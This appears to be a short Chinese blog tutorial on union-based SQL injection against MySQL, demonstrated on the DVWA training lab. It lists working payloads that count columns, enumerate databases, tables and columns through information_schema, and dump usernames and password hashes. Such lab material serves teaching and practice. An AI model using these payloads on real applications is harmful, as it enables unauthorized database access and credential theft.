Mysql 有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。 猜数据库 select schema_name from information_schema.schemata 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’ 猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’ 获取某列的内容 Select *** from ****
这里我用dvwa这个靶场进行举例子吧:
猜字段
1
order by 2--+
1
union select 1,2--+
获取基本信息,库名
1
1' union select database(),@@datadir--+
获取表名
1 2 3 4 5 6 7
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'--+ #解析语句 获取来自dvwa这个库中的所有的表名。如果这里不加group_concat()就是获取一个表 #盲点: 这里ID等于-1,尝试了一下,有的时候确实需要等于-1,其实就是让前面的这个语句不成立(使其报错),但是有的时候,就算是正确的也可以正确执行
获取列名
1
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取数据
1
1' union select user,password from users--+
控制结果条数输出
1
1' union select user,password from users limit 3,1--+